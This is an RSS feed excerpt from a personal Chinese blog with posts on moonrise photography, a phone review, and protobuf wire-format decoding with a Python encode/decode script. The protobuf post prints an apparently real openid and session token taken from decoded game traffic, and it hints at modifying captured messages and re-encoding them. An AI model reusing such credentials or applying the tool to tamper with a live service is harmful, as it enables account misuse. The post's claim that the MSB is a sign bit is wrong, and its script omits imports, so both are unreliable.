&lt;p&gt;很早之前就已经通过计算得知深圳湾公园可以拍摄到平安金融中心的月升，并且还刚好是满月，到达现场后发现已经有好多人到达了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/IMG20251105163357.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;和摄影群的朋友们也面基了，好多人都是第一次见😊&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/retouch_2025110521545923.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;月升照片分享&lt;/h3&gt;
&lt;p&gt;天气还是不够通透，就这样吧哈哈，400焦距尽力了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/IMG_20251105_194107.jpg&quot; alt=&quot;IMG_20251105_194107&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/mmexport1762340508099.jpg&quot; alt=&quot;mmexport1762340508099&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>oppo findx8u 使用体验分享</title><link>https://rayepeng.net/posts/oppo-findx8u/</link><guid isPermaLink="true">https://rayepeng.net/posts/oppo-findx8u/</guid><pubDate>Mon, 03 Nov 2025 05:54:53 GMT</pubDate><content:encoded>&lt;p&gt;第一次写测评类的文章，仅分享个人主观使用体验&lt;/p&gt;
&lt;h2&gt;起因&lt;/h2&gt;
&lt;p&gt;我的iPhone13pro，已经服役3年多了，由于我作死般地升级了ios16，导致使用上越来越卡顿，微信月球界面一天要见无数次，于是多方对比下，9月份换了oppo findx8u&lt;/p&gt;
&lt;p&gt;从iPhone迁移到安卓，最开始是犹豫的，因为有好些个ios付费app，只能在iPhone使用，比如足迹记录软件Rond，还有索尼的导出软件，因为已和相机做了关联，如果换新手机后，导出相机未免有些麻烦，总结下犹豫的理由吧：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;付费app，iPhone专属&lt;/li&gt;
&lt;li&gt;相机app，手机与相机做了绑定&lt;/li&gt;
&lt;li&gt;部分app 安卓功能缺失，如dj mimo，只有iPhone版支持live三拼&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然安卓也不是没有优势，巧摄软件的最新天气功能，就只能在安卓上使用，这也是促使我换安卓的原因&lt;/p&gt;
&lt;p&gt;所以我的解决方案还是双持，反正iPhone体积小巧，重量可接受，主力机还是用安卓，特定情况下才会使用iPhone，目前两个多月使用下来，自我感觉良好。&lt;/p&gt;
&lt;h2&gt;为什么是oppo findx8u&lt;/h2&gt;
&lt;p&gt;曾经的我认为oppo、vivo这类手机就是智商税，毕竟相同价位下的小米配置参数完全碾压吊打ov，但今时不同往日，ov两家在摄影上的进步是有目共睹的，反而上半年的小米15ultra，我体验下来，觉得拍摄得很一般，莱卡的色彩并没有让我很惊艳，vivo x200ultra曾经是我非常想换的手机，毕竟底是最大的，但综合对比下来：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;小米，体验过朋友的手机，拍出来的照片也还不错，但不知道为啥不太想用小米&lt;/li&gt;
&lt;li&gt;vivo，饱和度战士😂，但是照片很讨喜&lt;/li&gt;
&lt;li&gt;oppo，购买之前我认为是色彩还原度比较好的，并且和哈苏联名让我很是心动（所有摄影人的终极梦想都是想买一台哈苏吧）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然oppo findx8u还有很多其他因素，比如操作习惯基本和苹果保持一致，能抄的基本都抄了，这就让我基本不用改平常的操作习惯，无缝迁移，完全可以认为是优化过后的ios&lt;/p&gt;
&lt;p&gt;唯一吐槽的就是购买后发现oppo的开机键、音量控制键在同一侧，让我特别不适应&lt;/p&gt;
&lt;h2&gt;购买&lt;/h2&gt;
&lt;p&gt;由于是上半年发布的手机，9月左右入手，虽然比不过双十一，但价格也比较稳定了，拼多多百步补贴挺香的，但我这次尝试了下咸鱼，找了一个二手卖家，当天晚上就送过来了，感觉上应该是一个职业卖家，稍微检查了下没有任何瑕疵，目前使用下来感觉也还不错，看来走咸鱼面交买手机也是一个不错的选择，价格也更优惠&lt;/p&gt;
&lt;h2&gt;哈苏色彩&lt;/h2&gt;
&lt;h3&gt;大师模式自动&lt;/h3&gt;
&lt;p&gt;哈苏色彩是我最喜欢oppo的一点，开启大师模式后，色彩的还原度让我觉得非常惊艳&lt;/p&gt;
&lt;p&gt;大师模式的自动是我最开始比较常用的，最开始给我的感觉是照片的暗部会更暗一点， 照片有一定的对比度但是又不过分&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/e60ec219b3819e7293afd599c22be59d.jpg&quot; alt=&quot;e60ec219b3819e7293afd599c22be59d&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/aafbc33b1884cd2ce90bf875b584f00a.jpg&quot; alt=&quot;aafbc33b1884cd2ce90bf875b584f00a&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;大师模式手动&lt;/h3&gt;
&lt;p&gt;如果你了解曝光三要素，大师模式手动可能是最常用的，在这个模式下可以调三个大的参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;曝光三要素：主要是调整快门和iso，比如拍日出的时候iso可以调到100，快门可以选择自动，也可以手动调节看效果（iso一般往低了调，毕竟底低iso拍出来的照片更纯净）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;柔光、影调、饱和度、色温、青品这几个参数&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;柔光，这个主要是增加朦胧的效果，人像摄影比较常用&lt;/li&gt;
&lt;li&gt;影调，控制照片整体明暗对比关系，调高让照片光影感更强，调低让照片更平淡&lt;/li&gt;
&lt;li&gt;饱和度，主要控制色彩的鲜艳程度，建议别太高，不然就成为饱和度战士了&lt;/li&gt;
&lt;li&gt;色温，控制冷暖&lt;/li&gt;
&lt;li&gt;青品，调高增加品红色，画面偏暖，调低增加青绿色，画面偏森系&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;滤镜：这个太多了，我一般默认标准，但是复古和童话也挺不错的，具体可以参照小红书上大佬们总结出来的调色参数&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;放一些大师模式拍出来照片，更多可以查看 &lt;a href=&quot;https://photo.rayepeng.net/shot-on/oppo/oppo-find-x8-ultra&quot;&gt;我的照片博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/d7160f78266baf3ee7046f74bad7fe12.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/%E6%B1%95%E5%A4%B4%E4%B8%9C%E6%B5%B7%E5%B2%B8%E6%97%A5%E5%87%BA.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;拍视频&lt;/h2&gt;
&lt;p&gt;目前博客似乎还不支持嵌入视频，但我要说的是，find x8u 拍烟花视频真的是一绝！等我后续把视频传上来&lt;/p&gt;
</content:encoded></item><item><title>protobuf编码规则分析</title><link>https://rayepeng.net/posts/pb-rule-analysis/</link><guid isPermaLink="true">https://rayepeng.net/posts/pb-rule-analysis/</guid><pubDate>Mon, 03 Nov 2025 05:35:10 GMT</pubDate><content:encoded>&lt;h2&gt;分析protobuf二进制编码&lt;/h2&gt;
&lt;p&gt;比如一个最简单的pb：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;syntax = &quot;proto3&quot;;

message ResourceModify {
    int32 type = 1;
    int32 amount = 2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们假设数据是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;type&quot;: 1,
  &quot;amount&quot;: 26526
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如何得到其对应的二进制编码呢？&lt;/p&gt;
&lt;h3&gt;tag + value&lt;/h3&gt;
&lt;p&gt;可以简单的把pb的二进制编码看作是 tag + value ，首先看tag怎么计算&lt;/p&gt;
&lt;p&gt;公式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tag = (field_number &amp;lt;&amp;lt; 3) | wire_type
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;field_num&lt;/code&gt; 即是序号， 左移三位，然后和&lt;code&gt;wire_type&lt;/code&gt;计算或&lt;/p&gt;
&lt;p&gt;这个&lt;code&gt;wire_type&lt;/code&gt;即代表了该字段的类型，定义如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/image-20251103210638320.png&quot; alt=&quot;image-20251103210638320&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因此，第一个字段 &lt;code&gt;type = 1&lt;/code&gt; 对应的key就是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1 &amp;lt;&amp;lt; 3 | 0 = 0x8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着再拼接上它的value，最后就是0x0801&lt;/p&gt;
&lt;h3&gt;msb +小端序编码&lt;/h3&gt;
&lt;p&gt;接着看第二字段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;amount&quot;: 26526
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;计算tag：&lt;code&gt;2 &amp;lt;&amp;lt;3 |0 = 0x10&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;对应的value，则是：&lt;code&gt;9ecf01&lt;/code&gt; ，你是不是很好奇怎么来的，为什么不直接是26526的十六进制编码，这是因为pb采用了msb +小端序的规则&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;msb即最高位置作为符号位信息&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们将其转为对应的二进制，第一位为msb符号位直接去掉，然后按照小端序来拼接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;9e = 10011110
cf = 11001111
01 = 00000001

拼接过程， 先取01 -&amp;gt; 00000001 （注意MSB，第一位直接丢掉
然后取 cf -&amp;gt; 1001111(同样第一位被丢掉了)
再取 9e -&amp;gt; 0011110 
拼接起来就成了  1 1001111 0011110
用py代码转一下就有了
int(&apos;1 1001111 0011110&apos;.replace(&apos; &apos;, &apos;&apos;), 2) # 26526
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;vibe coding一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def int_to_varint(n):
    &quot;&quot;&quot;
    将一个大于 255 的整数转换为 Protobuf varint 编码。

    :param n: 需要转换的整数。
    :return: varint 编码后的字节数组（以 list 的形式返回）。
    &quot;&quot;&quot;
    result = []
    while n &amp;gt; 0x7F:  # 0x7F = 127
        # 取低 7 位，并将高位设为 1 表示后续还有字节
        result.append((n &amp;amp; 0x7F) | 0x80)
        n &amp;gt;&amp;gt;= 7  # 将 n 右移 7 位
    result.append(n &amp;amp; 0x7F)  # 最后一个字节，最高位为 0
    return result

# 示例：将一
# 个大于 255 的数转换为 varint 编码
number = 26581
varint_encoded = int_to_varint(number)
print(f&quot;Varint encoding for {number}: {[hex(b) for b in varint_encoded]}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;嵌套消息结构&lt;/h3&gt;
&lt;p&gt;如果遇到了这段编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0A 06 08 01 10 9E CF 01
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到就是多了前两个字节： &lt;code&gt;0A 06&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中 0A 是第一个字段，并且代表后面是一个字符串或者嵌套消息，06代表长度，接着后面刚好6个字节， 08 01 10 9E CF 01，其实就回到前面了，所以其消息结构应该是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;1&quot;: {
    &quot;1&quot;: 1,
    &quot;2&quot;: 26526
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一键解码pb二进制&lt;/h2&gt;
&lt;p&gt;可以直接调用 &lt;code&gt;protoc --decode_raw&lt;/code&gt; 来解码，不过pb编码后会丢失字段名，所以解码后也是看不到字段名的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ echo &quot;0A 06 08 01 10 9E CF 01&quot; | xxd -r -p | protoc --decode_raw

1 {
  1: 1
  2: 26526
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者这个例子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ echo &quot;0a1074645f6f70656e65775f64616d656e67120864616d656e6777781a08313139373230363922a0017b226f70656e6964223a226f33396867347a5155484b47376f414b57316655384b39425674426f222c22746f6b656e223a226a6434747165564664484b4c65366b31576d4a346550427875565137564e6e724c6c55413847442f6a5a2b4e3636535464655039534c37556936666a6176676a67714b735378646d61396d62644a6d2f6634615352517646415a414f50545578414c6b49664961513776513d227d2a00320864616d656e6777783a140a0012001a0022002a0032003a0631342e322e304202636e4804&quot; | xxd -r -p  | protoc --decode_raw
1: &quot;td_openew_dameng&quot;
2: &quot;damengwx&quot;
3: &quot;11972069&quot;
4: &quot;{\&quot;openid\&quot;:\&quot;o39hg4zQUHKG7oAKW1fU8K9BVtBo\&quot;,\&quot;token\&quot;:\&quot;jd4tqeVFdHKLe6k1WmJ4ePBxuVQ7VNnrLlUA8GD/jZ+N66STdeP9SL7Ui6fjavgjgqKsSxdma9mbdJm/f4aSRQvFAZAOPTUxALkIfIaQ7vQ=\&quot;}&quot;
5: &quot;&quot;
6: &quot;damengwx&quot;
7 {
  1: &quot;&quot;
  2: &quot;&quot;
  3: &quot;&quot;
  4: &quot;&quot;
  5: &quot;&quot;
  6: &quot;&quot;
  7: &quot;14.2.0&quot;
}
8: &quot;cn&quot;
9: 4
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一键编码pb二进制&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;protoc&lt;/code&gt; 提供了解码，但是并没有提供编码，这个让我百思不得其解，实战中经常会有需要解码后修改数据再编码回去的，这个过程是完全可逆的，不会损失任何信息&lt;/p&gt;
&lt;p&gt;于是干脆自己vibe coding了一个，如下，非常方便&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos;&apos;&apos;
python pb_test.py # 解码，默认输出到output.txt
python pb_test.py encode # 编码，默认读取output.txt
&apos;&apos;&apos;

from google.protobuf.internal import decoder, encoder



# 在这里粘贴base64编码的pb二进制数据
a = &apos;&apos;&apos;CA8SyQEIARABGAAgACgAMAA4AEAASABQAFgAYABoAHC+T3gAgAEAiAEAkAEAmAEAoAEAqAEDsAEAuAEAwgEIAQg2ONAP0Q/IAQDQAdvctKeiM9gBAOABAOgBAPABAPgBAYACAIgC0A+SAgCYAgKgAgCoAgywAgC4AgDAAgDIAgDYAgDgAgDoAgDyAgoIBhAAGAAgASgA+AIAgAMAigMICJvbgMgGIAGSAxUKCAiAi/nHBhAACgkIgK7+xwYQryuaAwYoADABOGSiAwCoAwAaCAix2wYQABgAGggIstsGEAAYABoICLPbBhAAGAAaCAi02wYQABgAIgYIwZoMEAAiCgihjQYQgNKTrQMiCgiijQYQgNKTrQMqvQcKIwgBEAEYASABKgIBBTC7gMHGojM4AEAASABQAGAAaABwAHgBEgMI8AcaAghlKgwIoY0GEGUYACAAKAA6DQiRThBlGAEgACgAMAA6DQiSThBkGAAgACgAMAM6DQiTThBkGAAgACgAMANCDAihnAEQZBgAIAAoAEIMCKKcARBkGAAgACgAQgwIo5wBEGQYACAAKABCDAiknAEQZBgAIAAoAEIMCKWcARBkGAAgACgAQgwIppwBEGQYACAAKABCDAipnAEQZRgBIAAoAEoMCLHqARBlGAEgACgAUg4IwbgCEGQYACAAKAAwBFoICNGGAxBlGABiCAjh1AMQZRgBaggI8aIEEGUYAXIMCIHxBBBlGAEgACgAegoIkb8FEGQYACAAggEECAEQAIIBBAgCEACCAQQIAxAAggEECAQQAIIBBAgFEACCAQQIBhAAggEECAcQAIIBBAgIEACCAQQICRAAigEMCLHbBhBkGAAgACgAigEMCLLbBhBkGAAgACgAigEMCLPbBhBkGAAgACgAkgEMCMGpBxBkGAAgACgAmgEMCOHFCBBkGAAgACgAmgEMCOLFCBBkGAAgACgAmgEMCOPFCBBkGAAgACgAmgEMCOTFCBBkGAAgACgAmgEMCOXFCBBkGAAgACgAmgEMCObFCBBkGAAgACgAmgEMCOfFCBBkGAAgACgAmgEMCOjFCBBkGAAgACgAmgEMCOnFCBBkGAAgACgAqgEMCIHiCRBkGAAgACgAqgEMCILiCRBkGAAgACgAqgEMCIPiCRBkGAAgACgAsgEOCJOwChBkGAAgACgAMAKyAQ4IkrAKEGQYACAAKAAwArIBDgiRsAoQZBgAIAAoADACugEICKH+ChBlGADCAQwIscwLEGQYACAAKADCAQwIsswLEGQYACAAKADCAQwIs8wLEGQYACAAKADCAQwItMwLEGQYACAAKADKAQgIwZoMEGQYANIBDAjU6AwQZBgAIAAoANIBDAjR6AwQZBgAIAAoANIBDAjS6AwQZBgAIAAoANIBDAjT6AwQZBgAIAAoAOIBDAjxhA4QZBgAIAAoAOIBDAjyhA4QZBgAIAAoAOIBDAjzhA4QZBgAIAAoAOIBDAj0hA4QZBgAIAAoAOoBDgiB0w4QZBgAIAAoADAD6gEOCILTDhBkGAAgACgAMAPyAQwI4ZgXEGQYACAAKAD6AQwIgbUYEGQYACAAKACCAgwI8eYXEGQYACAAKACKAh4IARACGAAgACgAMgA6AEIASABQAFgAYABoAHAAeAEyADoKCAEQy+qAyAYqAEIA&apos;&apos;&apos;

# base64解码
data = base64.b64decode(a)

def is_valid_utf8(data):
    &quot;&quot;&quot;检查数据是否为有效的UTF-8字符串&quot;&quot;&quot;
    try:
        data.decode(&apos;utf-8&apos;)
        return True
    except:
        return False

def parse_message(data, depth=0):
    &quot;&quot;&quot;
    完整解析 protobuf message，支持所有wire types
    返回 list of (field_number, value)，保留重复字段
    &quot;&quot;&quot;
    pos = 0
    result = []
    while pos &amp;lt; len(data):
        try:
            key, pos = decoder._DecodeVarint(data, pos)
        except:
            break
            
        field_number = key &amp;gt;&amp;gt; 3
        wire_type = key &amp;amp; 0x7

        if wire_type == 0:  # varint
            value, pos = decoder._DecodeVarint(data, pos)
            result.append((field_number, value))
            
        elif wire_type == 1:  # 64-bit (fixed64, double)
            if pos + 8 &amp;gt; len(data):
                break
            value = struct.unpack(&apos;&amp;lt;Q&apos;, data[pos:pos+8])[0]
            result.append((field_number, value))
            pos += 8
            
        elif wire_type == 2:  # length-delimited (字符串/bytes/嵌套消息)
            length, pos = decoder._DecodeVarint(data, pos)
            if pos + length &amp;gt; len(data):
                break
            value = data[pos:pos+length]
            
            # 尝试解析为嵌套消息
            try:
                nested = parse_message(value, depth+1)
                if nested and len(nested) &amp;gt; 0:
                    # 如果成功解析出字段，认为是嵌套消息
                    result.append((field_number, nested))
                else:
                    # 否则作为bytes/string
                    result.append((field_number, value))
            except:
                # 解析失败，作为bytes/string
                result.append((field_number, value))
            pos += length
            
        elif wire_type == 5:  # 32-bit (fixed32, float)
            if pos + 4 &amp;gt; len(data):
                break
            value = struct.unpack(&apos;&amp;lt;I&apos;, data[pos:pos+4])[0]
            result.append((field_number, value))
            pos += 4
            
        else:
            # 不支持的wire type，跳过
            break
            
    return result

def format_bytes(b):
    &quot;&quot;&quot;格式化bytes为带引号和转义的字符串&quot;&quot;&quot;
    result = []
    for byte in b:
        if 32 &amp;lt;= byte &amp;lt;= 126 and byte != ord(&apos;\\&apos;) and byte != ord(&apos;&quot;&apos;):
            # 可打印ASCII字符
            result.append(chr(byte))
        else:
            # 转义表示
            if byte &amp;lt; 8:
                result.append(f&apos;\\{byte:03o}&apos;)
            else:
                result.append(f&apos;\\{byte:03o}&apos;)
    return &apos;&quot;&apos; + &apos;&apos;.join(result) + &apos;&quot;&apos;

def format_value(value, indent=0):
    &quot;&quot;&quot;格式化单个值&quot;&quot;&quot;
    if isinstance(value, list):
        # 嵌套消息
        lines = []
        lines.append(&apos; &apos; * indent + &apos;{&apos;)
        for field_num, field_val in value:
            field_lines = format_field(field_num, field_val, indent + 2)
            lines.extend(field_lines)
        lines.append(&apos; &apos; * indent + &apos;}&apos;)
        return lines
    elif isinstance(value, bytes):
        # bytes类型，判断是否为空字符串或二进制数据
        if len(value) == 0:
            return [&apos; &apos; * indent + &apos;&quot;&quot;&apos;]
        # 检查是否全是可打印字符
        try:
            decoded = value.decode(&apos;utf-8&apos;)
            # 如果只包含数字字母和一些常见字符，直接显示
            if all(32 &amp;lt;= b &amp;lt;= 126 for b in value):
                return [&apos; &apos; * indent + f&apos;&quot;{decoded}&quot;&apos;]
        except:
            pass
        # 否则使用转义格式
        return [&apos; &apos; * indent + format_bytes(value)]
    else:
        # 整数
        return [&apos; &apos; * indent + str(value)]

def format_field(field_num, value, indent=0):
    &quot;&quot;&quot;格式化字段&quot;&quot;&quot;
    lines = []
    if isinstance(value, list):
        # 嵌套消息
        lines.append(&apos; &apos; * indent + f&apos;{field_num} {{&apos;)
        for sub_field_num, sub_value in value:
            sub_lines = format_field(sub_field_num, sub_value, indent + 2)
            lines.extend(sub_lines)
        lines.append(&apos; &apos; * indent + &apos;}&apos;)
    elif isinstance(value, bytes):
        # bytes类型
        if len(value) == 0:
            lines.append(&apos; &apos; * indent + f&apos;{field_num}: &quot;&quot;&apos;)
        else:
            # 尝试解码
            try:
                decoded = value.decode(&apos;utf-8&apos;)
                if all(32 &amp;lt;= b &amp;lt;= 126 for b in value):
                    lines.append(&apos; &apos; * indent + f&apos;{field_num}: &quot;{decoded}&quot;&apos;)
                else:
                    lines.append(&apos; &apos; * indent + f&apos;{field_num}: {format_bytes(value)}&apos;)
            except:
                lines.append(&apos; &apos; * indent + f&apos;{field_num}: {format_bytes(value)}&apos;)
    else:
        # 整数
        lines.append(&apos; &apos; * indent + f&apos;{field_num}: {value}&apos;)
    return lines

def format_message(parsed_list):
    &quot;&quot;&quot;格式化整个消息为res1.txt的格式&quot;&quot;&quot;
    lines = []
    for field_num, value in parsed_list:
        field_lines = format_field(field_num, value, 0)
        lines.extend(field_lines)
    return &apos;\n&apos;.join(lines)

def parse_escaped_string(s):
    &quot;&quot;&quot;解析带转义的字符串，返回bytes&quot;&quot;&quot;
    if not s.startswith(&apos;&quot;&apos;) or not s.endswith(&apos;&quot;&apos;):
        raise ValueError(f&quot;字符串必须以引号包围: {s}&quot;)
    
    s = s[1:-1]  # 去掉首尾引号
    result = []
    i = 0
    while i &amp;lt; len(s):
        if s[i] == &apos;\\&apos; and i + 3 &amp;lt; len(s):
            # 八进制转义 \xxx
            try:
                octal = s[i+1:i+4]
                byte_val = int(octal, 8)
                result.append(byte_val)
                i += 4
            except:
                result.append(ord(s[i]))
                i += 1
        else:
            result.append(ord(s[i]))
            i += 1
    return bytes(result)

def parse_text_format(lines):
    &quot;&quot;&quot;
    从文本格式解析回数据结构
    返回 list of (field_number, value)
    &quot;&quot;&quot;
    result = []
    i = 0
    
    while i &amp;lt; len(lines):
        line = lines[i].rstrip()
        if not line or line.isspace():
            i += 1
            continue
        
        # 计算缩进
        indent = len(line) - len(line.lstrip())
        line = line.strip()
        
        if line == &apos;}&apos;:
            # 消息结束
            break
        elif &apos;:&apos; in line and not line.endswith(&apos;{&apos;):
            # 字段: 值
            field_str, value_str = line.split(&apos;:&apos;, 1)
            field_num = int(field_str.strip())
            value_str = value_str.strip()
            
            if value_str.startswith(&apos;&quot;&apos;):
                # 字符串/bytes值
                value = parse_escaped_string(value_str)
            else:
                # 整数值
                value = int(value_str)
            
            result.append((field_num, value))
            i += 1
        elif line.endswith(&apos;{&apos;):
            # 嵌套消息开始
            field_str = line[:-1].strip()
            field_num = int(field_str)
            
            # 找到匹配的结束括号
            bracket_count = 1
            j = i + 1
            start_line = j
            while j &amp;lt; len(lines) and bracket_count &amp;gt; 0:
                sub_line = lines[j].strip()
                if sub_line.endswith(&apos;{&apos;):
                    bracket_count += 1
                elif sub_line == &apos;}&apos;:
                    bracket_count -= 1
                j += 1
            
            # 递归解析嵌套消息
            nested_lines = lines[start_line:j-1]
            nested_value = parse_text_format(nested_lines)
            result.append((field_num, nested_value))
            i = j
        else:
            i += 1
    
    return result

def encode_message(parsed_list):
    &quot;&quot;&quot;
    将解析后的list编码回protobuf二进制
    &quot;&quot;&quot;
    parts = []
    for field_number, value in parsed_list:
        if isinstance(value, int):  # varint
            key = (field_number &amp;lt;&amp;lt; 3) | 0
            parts.append(encoder._VarintBytes(key))
            parts.append(encoder._VarintBytes(value))
        elif isinstance(value, list):  # 嵌套消息
            key = (field_number &amp;lt;&amp;lt; 3) | 2
            nested_bytes = encode_message(value)
            parts.append(encoder._VarintBytes(key))
            parts.append(encoder._VarintBytes(len(nested_bytes)))
            parts.append(nested_bytes)
        elif isinstance(value, bytes):
            key = (field_number &amp;lt;&amp;lt; 3) | 2
            parts.append(encoder._VarintBytes(key))
            parts.append(encoder._VarintBytes(len(value)))
            parts.append(value)
        else:
            raise TypeError(f&quot;不支持的类型: {type(value)}&quot;)
    return b&apos;&apos;.join(parts)

if __name__ == &quot;__main__&quot;:
    import sys
    
    if len(sys.argv) &amp;gt; 1 and sys.argv[1] == &apos;encode&apos;:
        # 反向模式：从文本文件编码回base64
        input_file = sys.argv[2] if len(sys.argv) &amp;gt; 2 else &apos;output.txt&apos;
        
        print(f&quot;正在从 {input_file} 读取并编码...&quot;)
        with open(input_file, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            lines = f.readlines()
        
        # 解析文本格式
        parsed = parse_text_format(lines)
        
        # 编码回二进制
        encoded_data = encode_message(parsed)
        
        # base64编码
        b64_result = base64.b64encode(encoded_data).decode(&apos;ascii&apos;)
        
        print(&quot;\n编码结果（base64）:&quot;)
        print(b64_result)
        print(f&quot;\n原始长度: {len(data)} bytes&quot;)
        print(f&quot;编码长度: {len(encoded_data)} bytes&quot;)
        print(f&quot;是否匹配: {encoded_data == data}&quot;)
        
        # 保存到文件
        with open(&apos;encoded_result.txt&apos;, &apos;w&apos;) as f:
            f.write(b64_result)
        print(f&quot;\n已保存到 encoded_result.txt&quot;)
        
    else:
        # 正常模式：解析base64并输出文本
        print(&quot;正在解析protobuf数据...&quot;)
        msg = parse_message(data)
        
        # 格式化输出
        formatted = format_message(msg)
        print(formatted)
        
        # 保存到文件
        with open(&apos;output1.txt&apos;, &apos;w&apos;, encoding=&apos;utf-8&apos;) as f:
            f.write(formatted + &apos;\n&apos;)
        print(&quot;\n已保存到 output.txt&quot;)
        
        # 验证：编码回去看是否一致
        print(&quot;\n验证：重新编码...&quot;)
        re_encoded = encode_message(msg)
        print(f&quot;原始数据: {len(data)} bytes&quot;)
        print(f&quot;重新编码: {len(re_encoded)} bytes&quot;)
        print(f&quot;数据一致: {re_encoded == data}&quot;)
        
        if re_encoded == data:
            print(&quot;✅ 编码解码完全可逆！&quot;)
        else:
            print(&quot;❌ 数据不一致&quot;)
            # 找出差异
            for i, (a, b) in enumerate(zip(data, re_encoded)):
                if a != b:
                    print(f&quot;第一个差异在位置 {i}: 原始={a:02x}, 重编码={b:02x}&quot;)
                    break
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>周报41 博客装修、汕头团建</title><link>https://rayepeng.net/posts/weekpost41/</link><guid isPermaLink="true">https://rayepeng.net/posts/weekpost41/</guid><pubDate>Mon, 03 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这里记录的是raye在2025.10.26~2025.11.2的生活与思考&lt;/p&gt;
&lt;h2&gt;博客装修&lt;/h2&gt;
&lt;p&gt;已经从xlog迁移至self-host了，于是把剩余的功能完善一下，前半部分工作已经在 &lt;a href=&quot;https://rayepeng.net/astro-config-notes/&quot;&gt;&lt;strong&gt;astro配置笔记&lt;/strong&gt;&lt;/a&gt; 完成了，下半部分的工作包括友链、评论、照片墙，均已完成&lt;/p&gt;
&lt;p&gt;目前最后剩余的工作：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;修复下评论的黑暗和亮色模式切换bug&lt;/li&gt;
&lt;li&gt;文章的修改时间精确到秒，并且自动按照修改时间排序&lt;/li&gt;
&lt;li&gt;文章标题自动添加1 1.1 序号，方便阅读&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;友链&lt;/h3&gt;
&lt;p&gt;思考了下觉得还是需要一个友链，刚好了解下astro的开发，我现在使用的这个主题fuwari还不支持直接配置友链，但是发现作者有写这个功能，却不知道为啥最新版没有，参考作者的&lt;a href=&quot;https://github.com/saicaca/fuwari/pull/642/files#diff-fea291e6a68bacafef88ed99be7ad4916267ab6585b42401f1f76ddcbb37706a&quot;&gt;commit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;照搬过来，没啥大问题：&lt;/p&gt;
&lt;p&gt;(目前黑暗模式的适配有点问题，等我fix下)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picgo-1258058044.cos.ap-chengdu.myqcloud.com/img/20251102213359.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;评论功能&lt;/h3&gt;
